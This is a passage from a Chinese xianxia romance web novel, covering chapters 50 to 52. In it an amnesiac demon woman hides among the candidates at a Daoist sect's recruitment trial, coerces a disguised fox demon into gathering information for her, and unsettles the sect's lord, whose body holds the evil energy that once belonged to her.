他立刻唤出莲台,在莲台上打坐,吸纳灵力压制体内突然紊乱的邪气。似乎有什么东西在体内拉扯,争着抢着要把邪气拉出去。 成镜压制着异动的邪气,死死咬住唇,不让自己发出一丝痛苦的声音。 从那日开始,身体里留下的这股力量,成了囚禁他,惩罚他的枷锁,每次在她忌日那天,就会发作。 且发作的频率越来越高,甚至在她忌日刚过去没多久,又开始发作。 莲台可以给他提供灵力,但邪气也跟着涌入身体。如果不找到彻底压制的办法,他会被邪气吞噬。 良久之后,成镜下了莲台,往囚牢大门走了一步,身子一晃,往前倒去。莲台接住他,他撑着莲台站稳,气息粗重。 囚牢再开时,月正高悬。 他朝水栈走去,邪气带来的折磨还在刺痛神经,步上水栈的同时,手中莲子凝成形,吸收他身上多余的邪气。 好在这股力量除了会咬着他不放,不会影响其他生灵。 每次短暂压制后,成镜都会将多余的邪气纳入莲子中,再扔进莲池,以此减轻身体痛苦。 他的身影借着月光倒映在池水上,天地之间,只有他一人。 他走到禁阵前,抬手开启,水雾散开,凉亭显现。 成镜走进凉亭,抬步往前。 刚走了一步,他忽然停下,偏头看向凉亭坐台,缓缓捏紧了手。 50-60 第51章 莲叶微晃,微风拂过,月光投射在成镜眼前,那里空无一物,凉亭内只有他一人。 吐出浑浊的气息,耐住方才的刺痛,走到凉亭边,松开手,莲子坠入莲池中,邪气溢出,缓缓与散出的邪气融合,归于无形。 他在凉亭内站了会,再一抬头,仰望弯月。 从那日过后,月圆之夜不会再散失力量,代价便是无法融合她强行渡过来的力量,每隔一段时间便会突破压制在体内肆虐,最初的那次,被折磨得险些没能醒得来,还是听见鳞舞的哭声才勉强恢复意识。 不知该如何解决这股力量,它原本的主人已死,世间再无人知晓。 成镜收回目光,转身走上水栈,水雾合上,一切再度恢复寂静。 不过片刻,水雾再次打开,成镜的身影一闪而过,直接去了莲池后那间小屋。莲花的荧光照亮屋内,环视四周,并未有异样。 成镜却看了许久,目光停留在门口,门槛外的地面有一处细小划痕。 “有人来过。” 莲花飘散,凝出画面,里头一道身影闪过。成镜转身,视线投向一重山。 一重山此刻灯火微暗,有人敲了敲门,大门被打开,随之而来的是抱怨声:“这么晚了才回来,你干嘛去了?” “不好意思,我去看道宗弟子训练,看得入迷,忘了时间。” “下次别这样了,睡得好好的,被你吵醒还要给你开门。” 吱呀一声,大门关上,院子里的声音减弱,有人径直走向一间房屋,伸手去推门。 她走进去,屋内亮起。 “怎么样?你和他们说上话了吗?” 裴兰走进来,瞥了眼边上早就睡着的人,直接走到另外两人床边,声音压低,道:“我问了几个弟子,说是这次宗主和道君没有意向招收弟子,不过几位长老应该是想招的。” 卓凝霜与宣瑶对视一眼,都在对方眼里看到了隐隐的期待。 裴兰又瞥了眼那边睡着的人,凑近这两人,声音极低:“她一直在睡?没有醒来过?” 卓凝霜瞧了眼,点点头。 裴兰松了口气,又说:“你们俩到时候好好表现,搞不好能被长老看上,成为内门弟子。我可是打听了,别看都是道宗弟子,内门弟子和外门弟子待遇可不一样,要是成了长老的亲传弟子,那可比内门弟子地位还要高。” 两人瞪大眼,听裴兰这么说,越发向往。 “大概明天会公布选拔规则,你们俩就等着吧。”裴兰说完,在两人钦佩的目光中回到自己床位,褪下外衣躺好,一转眼就看到那躺得板直的人,哼了一声,转身背对她。 烛火熄灭,房间内阵阵窃窃私语,不过一会,声音减弱,彻底安静下来。 夜深之时,“熟睡”的人睁开眼。 北溯直起身,看了眼睡得正香的仨人,还是不习惯和这么多人在一个空间内连续待上几个时辰。 思绪一转,想到那处没法打开的禁阵。几次尝试都无法打开,只好先回来,再想办法。 邪气的源头确实在里面,也许自己失去的记忆也能在里头找到答案,但总觉得有些不对劲。从小鸟的话里,找不到她被封印后的去向,也不知是怎么挣脱封印,又被昆仑的人盯上。 以目前的记忆,只知道昆仑是世间最强大的存在,她又是如何杀死昆仑仙尊的? 北溯想了会,若是耗费多日都无法进入禁阵中,或许该回妖界一趟,去见见现在的妖王。 在山洞内昏睡过去,一觉醒来,世间已经过去将近五百年,这个世界变化确实很大,熟知的人族强者已经死去,同族也死的差不多了。 以前她的职责是救出被抓的妖兽,将侵入妖界的人族修士赶出去,而现在,三界互不干扰,没有人再入侵妖界,也没有妖兽需要她去救。 巨大的落差与空虚感袭来,除了追寻失去的记忆,好似她没有事情可以做了。 北溯望向窗户,月光穿过那层薄膜,堪堪照亮屋内小片区域,她动了动手,悄无声息地出了院子,方一出来,便嗅到丝丝妖气,再一看远处打盹的守夜弟子,摇了头。 “连妖气都察觉不出来,即使五百年过去,人族还是这般自大。” 她朝妖气溢出的方向迈了一步,再出现时,已经进了男修的客舍,在尽头一间屋子里显现身形。 里头只住了一个人。 北溯敲了敲桌面,床上蜷缩的男修立刻惊醒,睁着惊惧的大眼看过来,一见到是她,登时松了口气,但旋即又提起。 “您?您……” 北溯抬手,在他身上施加了层敛息术,将他身上的妖气藏好,在桌边坐下,同时设下结界,这才开口说话:“我问什么,你答什么,知道吗?” 男修傻愣愣点头。 “为什么来道宗?” 男修震惊,立刻露出防备姿态,身子往后缩。 “你不说,我就去告诉道宗,前来参加招新大典的修士里,混进来一只狐狸精。” 男修惊恐地瞪大眼,嘴唇嚅动,一咬牙,豁出去了:“我是不会说的!你杀了我吧!” “唔……”北溯胳膊肘撑在桌上,掌心托着下巴,瞧见他眼里冒出的泪花,轻叹一声:“你这样乖巧的狐狸,若是落入人族手里,该是会被扒了狐狸皮,做成衣裳,狐狸肉拿去烤了,妖骨拿去锻造成武器,下场很惨哦。” 男修瑟缩了一下身子,匆匆抹了一下眼泪,先前对她的感激被这 句话驱散,心中害怕。 之前在飞舟上他还想再谢谢她,现在就被威胁,人族没一个好的! “真不说?”北溯饶有兴致地打量这只小狐狸,看着确实很小,也单纯得很,随便一吓唬,就怕成那样。 “算了,问你个别的。”北溯换了个胳膊撑着下巴,问:“你叫什么?” 男修一副什么都不说的倔强模样,北溯凝出一团火,室内温度迅速升高:“不说,我就把你的毛烧了。” 男修张了张口,选择回答这些不是很重要的小问题:“我叫青柚,青色的青,柚子的柚。”说完,小心翼翼瞅了几眼北溯手里的火。 北溯哦了一声,没有将手里的火灭了,继续问:“你去了九重山,该是知道那里住着谁吧?” 青柚脸色骤变,一脸震惊又防备,“你,你怎么知道的……”他顿了会,说:“那里住的是道宗的道君。” “道君啊……”北溯陷入沉思。 这么说,这缕邪气与道君有关,那她还真得去见见此人,说不定能在他身上找到些自己记忆的线索。 语气稍稍温和,“他叫什么?” 青柚眨了下眼睛,把眼泪挤出来,小声说:“我不知道……” 北溯诧异:“你不知道?他不是挺有名的?” 青柚动了动已经麻了的腿,给自己解释:“我一直都待在妖界,这是第一次来人界,我还没打听清楚。” 北溯点点头,意有所指道:“第一次来人界,没打听清楚就敢去道宗最强者的地盘,你胆子挺大啊。” 青柚想说自己学了一套可以掩藏气息的法术,但想了想,没说出来。 自己都被看出来原形了,就算说出来,在她面前肯定都是小伎俩。 他犹豫了会,谨慎问道:“你,你会告诉道宗吗?” 北溯灭了火,敲了敲桌面,盯着他看不说话。 青柚紧张地吞咽口水,心跳得越来越快。 “我可以不告诉道宗。” 他面露喜色:“真的?” “但你要为我所用。”北溯站起身,走到床边,垂眸俯视这只小狐狸,对他笑了一下:“我需要你帮我打听情报,以及告知我妖界的情况。” “我是不会出卖妖界的!” 青柚扯着被褥拉到自己下巴,眼睫害怕地眨了好几下,分明怕得要死,却没求饶。 “还挺有骨气。” 北溯也不想为难一个小辈,不过他出现的时机正好,不用再找妖兽去问,她是不会放过这只小狐狸。 “你应该知道那劳什子三界协议?说是人族不入侵妖界,妖兽也不得进入人界?” 她慢悠悠地说:“若是道宗知道有只妖兽潜入进来,那人族修士就有了入侵妖界的借口,你觉得,到那时,人族会不会利用你编造入侵妖界的正当理由——” “我答应,我答应……”青柚垂下脑袋,身子颤了两下,抹了眼泪,声音都哽咽起来:“我答应你。” 北溯眨了眨眼,没想到几句话这只小狐狸就哭成这样,她也没多凶啊。现在的小妖都这么脆弱了?还不如她那一代呢。 “没想到你年纪挺小,本事挺强,九重山都能上得了。” 青柚辨别不出来这是夸奖还是讽刺,没敢说话。 “给你个任务,明日去打听这位道君都在道宗做了些什么,晚上我会来问你。” 青柚一听她还要来,几次张口,都没能说出话来,只好点点头。 北溯转身,走之前,回头瞥了眼他,青柚下意识往后缩。 “妖气藏好,下次再露出来,可不会再有人给你藏。” 她的身影消失,青柚愣了好一会,掀起被褥往里头看,毛茸茸的白色尾巴晃了一下,立刻收回去。 他使劲嗅了嗅,没嗅到妖气,心中颇为怪异。族长教的变幻术明明骗过了那群修士,怎么会被人看出来? 不行,得尽快找到那东西,快些回妖界。 青柚缓缓趴回床上,缩进被褥里。眼睛眨了好几下,慢慢放松下来,后知后觉发现她其实没有对自己做什么,之前也是好心告诉他缓解身体不适的办法,现在还帮他藏了妖气。 她到底是不是个好人呢? 北溯出了房间,衣裳擦过门框,抬头一望弯月,回了那间睡满四个人的房间。 不过片刻,成镜的身影出现在这间房前,他抬脚走到门前,脚步一顿,瞳孔骤缩,低头看向底下门框,手指轻颤。 明知道那是自己的幻觉,却因此停留,直到那与她身上相似的气味散尽,他才调整好自己紊乱的气息,压下刹那间破出牢笼的汹涌情感,一抬眼,眸光冰冷。 眼前的这扇门宛若不存在,里头场景看得一清二楚。 里面只有一人。 心底隐秘的期待落空,成镜眨了一下眼,收回视线,后退一步,转身离开。 里头只是个小妖,不是她。 天亮后,院内很快热闹起来,裴兰先醒了,一醒来就开门去看外头动静,一眼瞧见院口站着的身穿白衣道宗弟子服的女修,赶忙上前。 “这是后天招新选拔的规则,贴在此处,诸位可随时来查看。” 女弟子说完,转身离开。 裴兰去的晚,只能在后头看,前面有人见到她,一伸手把她拉到前排。 “一共一千八百人啊,这么多,能比得完吗?” “我感觉不太妙,看这上面写的,他们是让我们进入秘籍中,拿到放在里面的令牌,才算通关。” “咦,只有议论比试唉,那不就意味着我们只要拿到令牌,就通过选拔,能进入道宗了?” “上面写了,共七百二十枚令牌,也就是说,只有不到一半的人才能留下来,我们该不会连令牌长啥样都不知道,就被淘汰了吧……” 裴兰没说话,盯着上面的规则若有所思。 她再从头到尾看了会,挤出人群,走到房间门口就见两人出来,直接把她们拉回去,“我都看到了,你们不用去,我告诉你们。” 特地清了清嗓子,冲边上正在理衣衫的人说:“那个裴溯,你也不用去看了,我都记下来了。” 北溯缓缓抬头,朝她露出笑。 裴兰莫名觉得这笑里带着寒意,身子往那俩人的方向偏了些,道:“方才道宗弟子来了,说了一下这次比试规则,我们得去秘籍里拿到他们放进去的令牌,只要拿到这块令牌,就算比试通过,很简单!” 北溯问了一嘴:“秘境在哪。” 裴兰嘴角笑容一僵,说:“暂时未公布。” 北溯哦了一声,整理好衣衫,起身出门。 裴兰脱口而出:“你要去哪?” “去吃早饭,”北溯似笑非笑:“要一起吗?” 这句邀请在裴兰心中转了好几圈,各种猜测都想过,最终还是咬牙答应了,还不忘拉另外两个人一起。 “我们就不一起去了,我们等会再去。”这两人也不是个傻的,裴兰的心思多多少少能看出一些,她们是不想搅进来。 裴兰只能自己跟上去。 路过那张告示时,北溯扫了眼,除了有这次招收的名额,没什么有用的信息。 “没想到这次比试形式竟然是这样的,那要是我们俩都能拿到令牌,不就都能成为道宗弟子了?裴溯,以你的修为,应该能进吧?” 裴兰这次没拉北溯胳膊,为了跟上北溯的步伐,步子迈得很快。 “不知道。”北溯本就不是为了成为道宗弟子而来,不过她这么一说,冒出了个很损的想法。 但这里是人族的地盘,她还是收敛些。 两个入神境,她现在还对付不了。 “你是对自己没有信心吗?”裴兰快步走到北溯前面,说:“到时候进了秘境,我来找你,我们一起去找令牌。你放心,我找到了令牌肯定不会先走,帮你找到了我们再一起离开。” 北溯停下,望着这个人族女子。 从房间里出来去供给处用早点的人越来越多,在她们周围走过,没有人停下来看她们。 裴兰被看得心虚起来,不由得 往后退了一步。 北溯好奇:“我们昨天才认识,你却要帮我拿到名额,这么好心?” 裴兰借着她的话下台阶:“我们这么有缘,还都是一个屋的,互相帮助不是很正常吗?” “你也要帮她们两个?” 裴兰一愣,没有想过这个问题,被问出来,也就没有立刻回答。再回神时,眼前已经不见裴溯身影,转头一看,她已经去了前面。 这次她没有选择跟上去,夹杂在人群中盯着那道背影,直到走进供给处。 晚上北溯去了青柚那,一见她来,青柚再次摆出防备的姿态,缩在床角只露出眼睛。 北溯在桌边坐下,撑着下巴打量了他几眼,问:“今天可去打探了?” 青柚点点头,白天他问的时候,脑中忽然闪过一个疑问,她这么厉害,怎么不自己去打探呢。 “那个道君叫成镜,他们说他已经活了三百多年,是道宗第一强者。” 北溯嗯了一声,三百多年,比她小。 “还有呢。” “他们还说,成镜好像参与了铲除邪神的计划……” 北溯放下手,直了身子,声音冷了些:“继续说。” 青柚小心翼翼看了她一眼,明显感觉到她身上的气势变得强势了,一边警惕她一边说:“好像是十年前的事,那会我还小,记得不太清楚。” “他们说,十年前,邪神挣脱封印,与魔族勾结,道宗和昆仑为了铲除邪神,死了很多人,最后成功杀了邪神,据说里头也有成镜出力。” “我就打听来这些,成镜其他的事情,他们都不知道,”青柚想起来还有个点没说:“他们说成镜鲜少露面,可能是因为这个,才打听不到什么。” 他的话说完,房间内再无其他声音。 青柚仔细回想自己说的话,都是打听过来的有关道君的事,没有说错,她怎么看起来,有点不大对劲? 忽地敲击声响起,青柚吓了一跳,发现那是她在敲击桌面,猛地松了口气,还以为是有人找上门来,发现他了。 “你,你还有别的要问吗?” 北溯停止敲击桌面,抬眸看这只狐狸精,仔细打量他的容貌。他是柔弱那一卦的,这张脸看着就人畜无害,什么都不说不做,就能叫人放下戒备心,妖族派他来道宗,应该是想用他这张脸去骗人。 “你的目标是成镜?” 青柚一下就绷紧了身体,急急瞥开眼不敢与她对视上。 他反应得太明显了,谁都能看出来。 北溯又问:“我问你,你可知妖王雾海怎么死的?” 青柚呆愣着,摇了摇头,小声说:“不知道,妖王雾海几百年前就死了。” 北溯身子一沉,那种空虚孤寂感再度袭来。 也许她先去问黎衣白这些年都发生了什么事,而不是来找邪气的源头。 “那雾漓呢,你知道吗?” 青柚想了想,摇头说:“不知道,我背过历代妖王的名字,妖王里没有这个名字。” 北溯停了会,让他把知道的妖界所有发生的大事都说出来,但他所知道的,比那只小鸟少多了,还是得回妖界一趟。 她起身,冲这只狐狸道:“今晚先到这里。” 话音刚落,她的身影消失,青柚望着她消失的位置眨了眨眼,想到一个可怕的可能,她以后不会还要来问他话吧? 他想了又想,干脆一闭眼,掀起被褥盖住头,下定决心。还是尽快把那东西找到,赶紧回妖界! 两日很快过去,第三日天还未亮,客舍已经能听到各种声音。 北溯睁眼,起身下床。 除开来的第一晚她去过那处莲池,后来便未再去过。除非她能悄无声息在成镜身上获取到他的气息,否则再去,也是白费功夫。 更何况成镜根本不下九重山,找不到机会接近她。 收拾好,跟着道宗弟子指引来到一重山最大的训练场,人群四面八方涌来,一千八多人齐聚,密密麻麻看不到底。 “这么多人,看来一重山比我想象的要大多了,这么多人都能容纳下来。” “你别说,这房间比我老家好,我这两晚睡得很好。” 北溯忽略那些乱七八糟的声音,捕捉到远处靠近的数道气息,再一抬头,便见高台上站了数道人影,领头的是个黑衣女子,眉心一点红,气质凌然。后面跟着三个老者,再往后,就是几个中年人。 “欢迎诸位前来参加道宗此次招新大典。”天綪扫过底下人群,微微扬起笑容,“长话短说,此次比试地点设立在我宗二重山,时限为三日,比试期间,二重山将会完全封锁,三日后,未能取得通过令牌者淘汰,取得令牌者,可随时在其中注入灵力,提前离开秘境。” “一千八百名参赛人员,只有七百二十名可进入道宗,成为道宗弟子。” “一刻钟后,诸位可将灵力注入你们在供给处领到的玉牌,激活上面刻下的传送阵,便可进入二重山。” “为确保此次比试公平,我宗会派遣十位执事入二重山监督。诸位切记,这只是一场普通的选拔,不可动手伤人。即使你们无法通过此次比试,日后也还有机会进入其他宗门求道。” 天綪话音刚落,身侧不远处显现两道身影。看清来人后,她与身后的人齐齐向那人行礼。 “道君怎么来了?” 成镜瞥向身侧已经朝人群望的鳞舞,道:“陪她来看看。” 底下的人一见宗主都对那人行礼,立刻猜出那人的身份。 “是道君!” “我的天,也没人说道君也会来啊!” 人群嘈杂起来,北溯捕捉到“道君”二字,抬头看去。她站在人群末端,抬头望去,一眼看见那人侧着身子,微微垂头,听着身侧的人说着什么。 他的身体完全将那人挡住,北溯没有看见。 她的眼被这道白色身影充斥,不知为何,一看到这人,心中激荡起难以言喻的情感。醒来后无所事事的空虚被填满,一看到那人,就想去到他面前,对他做些什么。 北溯轻轻发出一个音调:“唔……” 怪不得邪气的源头指向他的住所,现在一看,邪气就是从他体内散发出来的。 所以说,她与这位道君,应该是有什么渊源。 北溯动了动手,牵动邪气,凝成团,又打散。看来她得通过这场选拔,进入道宗,找到接近他的机会。 现在人太多,两个入神境都在,她不好接近。 思考中,身体无意识地吸收了太多邪气,还在拉扯着这股邪气往身体里涌。 高台上的人蹙起眉,不动声色地压制身体内突然躁动的邪气,但身体里那股邪气在撕扯着他的经脉,疯狂往外涌,直直冲一个方向。 从未这么强烈过。 成镜动用灵力压制,缓缓转动身子,寻找邪气外溢的方向,视线扫过人群,最终定格在后方角落里一名女子身上,邪气正往她的身体里涌去,没有一丝外溢。 他看见了一双尤为明亮而炽热的眼。 有那么一瞬间,周围所有的声音远去,世界寂静,台下只有那女子一人的身影。 他缓缓眨了一下眼,邪气躁动冲击灵脉的痛好似消散了。 那双眼,他曾经见过无数次。 第52章 那是一张全然陌生的脸,陌生到除了那双眼,找不到一处熟悉。 她的眼里没有他。 那双明亮的眼弯了一瞬,旋即充满冷意与陌生,毫不留情地移开视线,转而去看其他人。 对视只在一瞬间,那双眼望过来时,有的只是漠然,甚至没有常人看到这位道宗强者时的狂热。 成镜动了一下身子,转头去看鳞舞,露出一抹笑。 鳞舞有点害怕,老爹很少笑的,每次笑,基本上都是她闯祸的时候,可是现在没有闯祸呀。 “爹爹?” 成镜没有再去看,拉着鳞舞在观看席上坐下,坐下时特地将手掩藏在袖中,此刻这只手捏得 很紧,手背上青筋蔓延到小臂,四指深陷掌心,点点殷红滴落,洇湿衣袖。 而他另一只手控制得很好,轻轻握着鳞舞小小的手掌,低声说了句:“看吧。” 视线不经意间扫过那个角落,邪气还牵连着她的身体,但她再未看过来。 从她死后,到现在,十年了,这股力量第一次波动得如此剧烈,几乎要冲出他的身体,回到主人的怀抱。 成镜坐直了身子,没人看得出来他的身体此刻极度紧绷,只觉得他身子板直,面无表情,很严肃。 底下的人看了他好一会,心中惊叹。 这就是道君?人厉害也就算了,还长得这么出众,他这样的人,谁能拿下? 视线一转,再一看他边上一起坐着的小姑娘,更是吃惊。 传闻是真的,道君真有了孩子,还很可爱。 只见那女娃娃眨着圆溜溜的眼睛望过来,两个麻花辫乖巧垂在脸颊两侧,嘴巴嘟嘟的,双手规规矩矩搭在腿上,一身青色罗裙,那颜色很清爽,淡淡的。 小姑娘不动时,穿着这身衣衫,看着斯斯文文,颇为文静。 北溯扫了眼,又多看了几眼,想到小屋里歪歪扭扭的字,猜到是这个小孩写的,笑了一下。 再一看那小孩,有些手痒,想去揉揉她脑袋,手感应该会很不错。 忽然想把这娃劫走,带到妖界养着。这么可爱的小孩,在妖界肯定很抢手。 高台上传来的声音打断她“危险”的念头,“时辰已到,诸位请将灵力注入玉牌,进入秘境。” 话音刚落,已经有人消失。 北溯还没动手,边上有人挤过来,声音先过来:“裴溯,我们一起进去呗?” 她转头,裴兰露出笑,挥了挥手里的玉牌。 北溯慢吞吞地哦了一声,问她:“我们会被传送到同一个地方?” 裴兰迟疑地摇头:“好像不会……” “那为什么还要一起进去?” 裴兰的笑容凝固,没再说话。 北溯不是看不出她的小心思,懒得点明,几次提醒,她装作看不见。没什么精力来维持表面的和谐,也不在乎与人族能有什么深刻的情谊,来此的目的只有一个。 找回她失去的记忆,旁的她没兴趣干。 “那我先进去了……”裴兰犹豫着等了会,没听到挽留,直接注入灵力,玉牌投射出传送阵,将她笼罩在内,身影很快消失。 北溯低头去看,发现一个很严重的问题。 她目前使用的力量是妖力,那邪气虽然也能用,但无法确定能不能催动这块玉牌,若是用了,被检测出不同于灵力的力量,被他们发现…… 北溯抬起头,前面的人都进去得差不多了,她的身影完全暴露出来,她再不动,就显得不太正常了。 高台上来的人都坐了下来,没人管他们。 视线一转,和一大一小两人对上视线。 成镜握住鳞舞的手忽然加重力道,视线依旧对着北溯那边,即使是觉得自己老爹变得很奇怪,鳞舞也没去看他,只瞅着底下的女子,眨了眨眼。 就见那女子也眨了眨眼。 鳞舞哎了一声,摇了摇老爹的手,小声说:“爹爹,她在看我哎!” 成镜不轻不重地嗯了一声,移开目光,空旷的训练场映入眼帘,发觉到一个被忽略的问题。 袖中捏紧的手松开,稍稍一动,灵力击出。再若无其事地转回目光,训练场已经没有那女子的身影。 “爹爹,我也想进去跟他们一起参加比试。”鳞舞再次晃动成镜的手,将自己的小心思藏起来。她才不会告诉老爹,她是想再看看方才那位女子。 成镜方要让她静坐观看,脑海中却因鳞舞这句话浮现一个极为荒谬的念头。 但他只思考了一瞬,当即动手。 无人可感知到他的变化,鳞舞也只是觉得老爹身上的灵力波动突然变大,很快趋于平稳。 “在这看着,不可进去扰乱比试。” “好哦。”鳞舞失望地叹了口气,面前显现一道水镜,浮现二重山内画面,她又来了兴致,想去调出方才那名女子的画面,但是怎么都找不着。 她戳了戳成镜胳膊,小声说:“我想找刚才那名修士的画面。” 成镜投去一眼,道:“水镜画面是随机的,无法自由切换。” 边上的长老一听,动手试了试,确实是随机的,许久没用过,都忘了这回事。 天綪不动声色地瞥了眼鳞舞,摊开隐没在衣袖中的手,掌心划过一道光,并未有异常。 她蹙起眉,再一看底下,已经没有人了,将近两千名修士,全都进了二重山。 “接下来便由你等负责,我便不留了。” 长老们立刻起身送她。 天綪却对那处坐着的成镜道:“道君要将这三日的比试都看完?异种裂缝还需您调查,时间都耗费在此处,应是不妥。” 鳞舞探头去看天綪,说:“爹爹天天查异种裂缝很辛苦的,好不容易陪着我在这里休息一会,你就要叫走他啊……” 话还没说完,一只大手掌按上头顶,鳞舞缩了回去,刚想撒娇让老爹陪自己一会,就听老爹拒绝了天綪,立刻高兴起来。 “异种裂缝我已派人去查,不差这几日时间,若是异种裂缝突然袭击人界,我自会出手。” 成镜不再言,垂眸看水镜。 天綪隔着些距离瞧了眼他面前水镜画面,里头空空的,没有人影。 “那道君趁此机会好好休息,我就不打扰了。”天綪挥袖,转头就走。 “爹爹我们继续看!”鳞舞小声念着:“什么时候才能切到她那啊……” 成镜动了动手,感知到左手掌心湿润,低头一看,鲜红充斥眼底。他抿了唇,面不改色地重新握紧,衣袖掩盖,转向面前水镜。 里头正是二重山山脚,几道人影闪过。 看见那道身影时,成镜眼睫抬起,似笑,又未笑。 二重山是道宗培育草药的地方,为保证草药药力不会削弱,未曾将此地的杂草除尽,是以二重山一直保留原态,地形复杂,毒兽众多。 即便是道宗自己采摘草药,也得专门配备解毒丹药。 北溯落在一处平坦草地上,环视四周,没有人。再一看天,几道山影清晰可见,她仍在道宗内。 但她并未动用任何力量,却被传进来,有人帮了她? 坏了,她被发现了。 北溯席地而坐,思考那人为何会帮自己,却又不揭穿她的身份。 能发现她的,也只有那几个修为高的人族修士,道君成镜,宗主天綪。若是真发现了她,早在训练场时就会来抓她,又怎么会送她进二重山。 怪了。 再一看周围,除了这块草地平坦些,其余位置灌草丛生,甚至比人还高。这座遍地都是灌丛的山,如若不在高处,几乎看不到远处景象。 北溯再次朝天望了眼,有些棘手。周围有人在监视,不好用妖力。 若是要留在道宗,就得找到令牌。但现在已经被发现,留在道宗的风险很大。不过那人既然没有立刻揭穿她,反而将她送进来,应是暂时不会对她做些什么。 “麻烦。” 她扯了根草打成结,躺下,头枕着手臂,回想起方才的那一眼。 “道君……成镜……” 北溯坐起身,晃着手里的草,若有所思。 “会是他吗?” 北溯开始遗憾,自己只看了一眼成镜的正脸,还没看清楚,人就被传进来了。 那只狐狸打听到成镜参与过杀她,那她不得去问问清楚,若是自己先前真被他杀过,他就是仇敌。 不过…… 真的好想对他做些什么啊。 那人脸长得不错,气质冷清,看着禁欲得很,她偏就喜欢这种看着冷冰冰的,很有挑战性。 妖界里有这样气质的不多,也不知在失去记忆的这些年里,有没有接触过这位道君。 “唔……”北溯站起身,将发散的思绪收回,“先去找块令牌,出去了再说。” 北溯选了个方向,扎进灌丛 里。 不过片刻,她又退回来,换了个方向。方才没走多久,便见一人被藤蔓捆住,一见她来,张口要说话。 北溯当机立断掉头,换个方向走,她没时间去救人族。 这个方向倒是没再遇见被困的修士,走了不远,灌丛渐渐少,却见一湾池塘显现,里头一片莲叶浮出水面,边上便是一朵盛开的莲花。 池水不深,水尤清澈,池底石子间卡着块方形黑色物体,上头刻着“道”字。 “嗯?这么容易就能遇到?” 北溯没有直接上去拿,视线转在池中莲花上,看了好一会。 这片池塘里,仅有这一朵莲花。花瓣是洁净的白,底端泛红,颜色如血,散发着浓郁的灵力。 她蹲下来,手探进水里,很凉。 要不要拿呢? 怎么看,都像是圈套,哪有放得这么明显的。 灌丛被踩踏的声音传来,北溯收回手,甩掉水珠,站起身,抬头望去。 对岸冲出来一名男修,一看到她,正要说话,视线一转,瞧见水里的令牌,立刻扑进去。 然而来的不止他一个,数道身影从灌丛里冲出来,绳索飞射,卷住那男修的身体一拉,将其扔出去,自己跳进池里去抢令牌。 短短片刻时间,清澈的池水浑浊,没有人在乎那株莲花,随意一扯就往外扔。 北溯后退几步,离他们远远的,避开溅出来的池水,看看着他们抢这么一块令牌。刚被一人抓到手里,另一人一踹他胳膊,手一松,令牌掉出去,又引来人抢。 道宗弟子的名额,确实让人眼热。 那群人边抢边打,出了池塘,所到之处,灌丛被砍断。 北溯一瞧水面漂浮的莲花,颇为惋惜。 “把比试地点设立在此地,不怕这里被毁了?” 北溯弹了弹衣摆,准备掉道去别处再碰碰运气,刚转身没走几步,身侧异动。朝那处位置走了一步,在那快步靠近的脚步声即将穿出灌丛时,一掌拍过去。 劲风扫过,那人眨了一下眼, 北溯的手掌在他面前极近的距离停下,没有感觉到杀意,垂下手。 一张清隽的脸映入眼帘,他的双眼带着丝丝疑惑望过来,很快趋于平静。 北溯忽然觉得他的眉眼似是见过,多看了几眼,没有说话,转身往回走。 身后传来脚步声。 她脚步顿住,往边上侧了身子,等身后的人先走过。 他似乎也顿了会,才从她身边走过,缓缓往前。 北溯盯着他的背影看了会,忽然跟上去,抬手去拍他肩膀,被他迅速避开。 她一挑眉,冲他道:“这位道友,缺个同伴吗?” 他脚步一顿,未曾转身面向北溯,开口道:“不用。”说完便抬步往前走。 北溯没有再邀请,朝他来时的方向望去,那处灌丛被开辟出一条道来,暂时没有人经过。 再一看没走多远的人,抬脚跟上去。 距离渐渐缩短,走在前头的人该是发现她跟着,脚步逐渐加快。 他着一身白衣,背脊挺直,发丝垂于脑后,只由一根白色发带束着。 北溯视线往下,他宽阔的肩往下渐渐收窄,腰封紧紧缠着腰身,即使隔着几层布料,也可看出这腰应是有力极了。 怪了,今天怎么一连瞧见两个符合她心意的男人。 他脚步声很轻,不仔细听几乎没有。可方才他即将冲出灌丛时,脚步声尤为明显。 北溯打量了会,弯起眼眸,走上前,与他并肩,道:“这位道友,我初来道宗,有些事不大清楚,想来问问你。” 男修脚步停下,顿了一会,才偏头望过来。 垂下的长睫缓缓抬起,掀开的眼帘下漆黑的瞳孔微颤,那双清冷的眸子倒映出她的脸庞,她是笑着的。 薄唇微张,他轻声道:“什么?” 北溯直直盯着他的眼看,没有立刻问。 他似乎不太习惯被这么直白地盯着看,移开视线,侧脸对着她。 “你了解道宗吗?” 男修捏紧手,微不可查地呼了口气,点了头。 北溯一拍手,响亮的掌声引来他的目光,很快又移开。她没在意,问:“那你知道,道宗是何时出现的?” 男修扫她一眼,回了句:“三百多年前。” “三百多年前?”北溯蹙眉,按那只小鸟说的话,三百多年前她成了邪神,应是自己被封印后,道宗才壮大的。 “那道君呢?” 男修顿时屏住呼吸,身子一动不动,注意力全在她的话上。 “他又是何时出现的?” 北溯问完这句,没有立刻得到回答,只能看到他的侧脸,无法看清他的表情,又或是他其实没有任何表情。 从她的角度,可清晰瞧见他清晰的侧脸轮廓,下颚线锋利,给人一种不好相处的感觉。 “道友没听清楚我方才的话?” “他是那位邪神被封印后,来到道宗的。” 北溯收了笑,声音正经起来,继续问:“那他有没有杀邪神?” 男修骤然转过身面向她,双眸紧紧盯着她,许久之后才吐出一句:“没有。” 声音冷硬,北溯还吐出了几分咬牙切齿的意味。 “是吗?”所以那只狐狸打听来的消息也不准确,不过他说的也不一定—— “是昆仑将她杀死的。” “昆仑啊……” 北溯抬手,握住又松开。 所以她是死了一次,才会在醒来后没有那些记忆。 “谢了。”得到想要的信息,北溯直接抬步往前,去找令牌。 她这声谢谢说的很快,走得很干脆,男修好一会才反应过来,转身看向她离开的背影。 待她进入灌丛,再也瞧不见时,他才缓缓抬起手,一块令牌显现。 漆黑的眸中充斥着纷乱的情绪,没有她,不用再压制。眸色黑得如墨,曜日的光投入这双眸中,也被吞噬得一干二净。 垂下的眼睫遮盖眼中汹涌肆意的情绪,他将令牌收好,再抬眸时,已经平静如常。 男修看向她离开的方向,跟上去。 水镜投射出修士们打斗的画面,鳞舞看看自己的,再看看老爹的,大半个时辰过去,还是没有见到那名女子,不高兴了。 “爹爹,我想看别的画面。” 成镜回神,等鳞舞说完所有要说的话,才开口:“若是不想看,可以回去温习功课。” 鳞舞倒吸一口冷气,立刻缩了回去,特地离他远了些,生怕被带回去。 “那我继续看吧。” 随机的就是不好使。 成镜嗯了一声,望着鳞舞乖巧的模样,抬手理了她的衣裳,见她不解地望过来,道:“坐好,不要乱动。” 